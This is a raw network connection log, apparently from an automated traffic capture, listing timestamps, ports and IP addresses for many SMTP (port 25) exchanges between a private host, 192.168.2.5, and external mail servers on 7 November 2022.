Nov 7, 2022 22:25:09.707988977 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.708184004 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.708200932 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709034920 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709062099 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709083080 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709537983 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709559917 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709815979 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709845066 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709870100 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709896088 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709923029 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709949017 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.709975004 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.710001945 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.710026979 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.710053921 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.713335991 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.713789940 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.713812113 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.713834047 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.713854074 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.713871956 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.713891983 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.714287043 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.759800911 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.759880066 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.759907007 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.759928942 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.759951115 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.759973049 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.759996891 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760019064 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760046005 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760067940 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760090113 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760104895 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760126114 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760143042 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760780096 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760792017 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760812044 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760883093 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760900021 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760924101 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760940075 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.760956049 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761290073 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761313915 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761334896 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761574030 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761595011 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761682034 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761704922 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761727095 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761748075 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761866093 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761888027 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761902094 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761929035 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.761950016 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762028933 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762048960 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762072086 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762093067 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762115002 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762140989 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762164116 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762180090 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762198925 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762214899 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762232065 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762255907 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762274027 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762295961 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762316942 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762337923 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762357950 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762377977 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762398005 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762418985 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762439966 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762459993 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762480974 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762495995 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762505054 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762515068 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762523890 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762540102 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762557030 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762581110 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762599945 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762948036 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.762972116 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763036966 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763058901 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763078928 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763098955 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763156891 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763202906 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763221979 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763262033 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763305902 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763356924 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763402939 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763423920 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763448000 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763468027 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763488054 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763509035 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763530016 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763550043 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763566971 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763576984 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763597012 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763617992 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763638020 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763659954 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763679981 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763700008 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763720989 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763744116 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763763905 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763783932 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763803959 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.763824940 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.764123917 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.777842045 CET	25	49871	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:09.778013945 CET	49871	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:09.790752888 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:09.818411112 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.841746092 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:09.904748917 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.904778004 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.904930115 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.904994011 CET	49870	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:09.921860933 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:09.922194958 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:09.954227924 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:09.959860086 CET	25	49870	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:09.960465908 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:09.960694075 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:09.987979889 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:09.988145113 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.031034946 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.078862906 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.082215071 CET	25	49871	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:10.082700968 CET	49871	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:10.084539890 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.085186005 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.119163036 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.129978895 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.162025928 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.201385975 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.206654072 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.241070032 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.254653931 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.261908054 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.277539015 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.297470093 CET	25	49871	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:10.300410032 CET	49871	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:10.301240921 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.360284090 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.364422083 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.402611017 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402650118 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402663946 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402676105 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402693987 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402710915 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402729988 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402749062 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402766943 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.402849913 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.402939081 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.448981047 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.474965096 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.491662025 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.525830030 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.534188986 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.560760021 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.601089001 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.601187944 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.635765076 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.637943029 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.660600901 CET	25	49871	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:10.671474934 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.681672096 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.720896959 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.720983982 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.721014023 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.721048117 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.721810102 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.721851110 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.721875906 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.721896887 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.721919060 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.721923113 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.721980095 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.721998930 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722016096 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722043037 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722067118 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722079992 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722086906 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722095013 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722106934 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722131014 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722148895 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722148895 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722155094 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722178936 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722182035 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722199917 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722202063 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722224951 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722225904 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722248077 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722251892 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722273111 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722279072 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722299099 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722305059 CET	25	49864	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.722317934 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.722347975 CET	49864	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.730143070 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.763741016 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763787031 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763806105 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763808012 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.763839006 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763859034 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763870001 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.763885021 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763905048 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763931990 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763947010 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.763952017 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763966084 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.763971090 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.764014006 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.764035940 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.765753031 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765795946 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765821934 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765850067 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765871048 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765892982 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765917063 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765934944 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.765939951 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765934944 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.765964031 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765989065 CET	25	49865	142.250.157.26	192.168.2.5
Nov 7, 2022 22:25:10.765990019 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.765990019 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.766014099 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.766038895 CET	49865	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:25:10.798775911 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.798842907 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.798871994 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.798998117 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799041986 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799329996 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799370050 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799395084 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799426079 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799443960 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799449921 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799449921 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799460888 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799485922 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799489021 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799511909 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799516916 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799535990 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799554110 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799559116 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799573898 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799592018 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799596071 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799611092 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799633980 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.799650908 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.799683094 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.821698904 CET	25	49871	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:10.824481964 CET	49871	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:10.833293915 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833333015 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833358049 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833379030 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833400011 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833422899 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833445072 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833441973 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833467007 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833528042 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833528042 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833537102 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833555937 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833575964 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833596945 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833604097 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833619118 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833623886 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833642960 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833647966 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833667040 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833674908 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833683968 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833690882 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833713055 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833719015 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833736897 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833744049 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833756924 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833758116 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833782911 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833802938 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833802938 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833827019 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833842993 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833856106 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833859921 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833895922 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833903074 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833928108 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833942890 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833946943 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833946943 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.833961010 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833982944 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.833998919 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834005117 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834005117 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834014893 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834038973 CET	25	49872	142.250.147.27	192.168.2.5
Nov 7, 2022 22:25:10.834047079 CET	49872	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:25:10.834054947 CET	25	49872	142.250.147.27	192.168.2.5
